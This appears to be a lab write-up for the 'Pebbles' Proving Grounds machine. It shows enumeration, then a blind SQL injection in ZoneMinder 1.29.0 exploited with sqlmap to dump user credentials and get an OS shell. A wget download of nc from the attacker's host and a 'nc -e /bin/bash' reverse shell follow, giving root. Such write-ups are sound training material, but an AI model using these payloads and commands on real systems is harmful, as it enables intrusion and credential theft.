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Pebbles

Writeup for Pebbles from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration

nmapAutomator.sh -H 192.168.85.52 -t full
nmapAutomator.sh -H 192.168.85.52 -t vulns

HTTP

Port 80
gobuster dir -u http://192.168.85.52 -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50
Using a larger wordlist:
gobuster dir -u http://192.168.85.52 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.php --threads 100
We have a ZoneMinder console (v1.29.0).
Port 8080 contains another HTTP service.
gobuster dir -u http://192.168.85.52:8080 -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50
There is a hello.php.

Exploitation

From the ZoneMinder version (v1.29.0) above, we find that it is vulnerable to SQL injection.
It appears that the limit parameter is vulnerable to stacked queries. Using the following POST payload:
view=request&request=log&task=query&limit=100;SELECT SLEEP(5)#&minTime=5
We can make the server sleep for 5 seconds.
This is a blind SQL injection (True = sleep, False = no sleep).
We can automate the blind SQL injection using sqlmap.
sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm --tables --threads 5
sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm -T Users -C Username,Password --dump --threads 5
We can achieve RCE using the --os-shell option.
sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" --os-shell
wget "http://192.168.49.133/nc" -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc -e /bin/bash 192.168.49.133 3305
Two things were important here: the port 3305, and the location of the nc binary.
On our listening machine, we get a root shell.
Upgrade to an interactive shell: python -c 'import pty;pty.spawn("/bin/bash")'
Proof: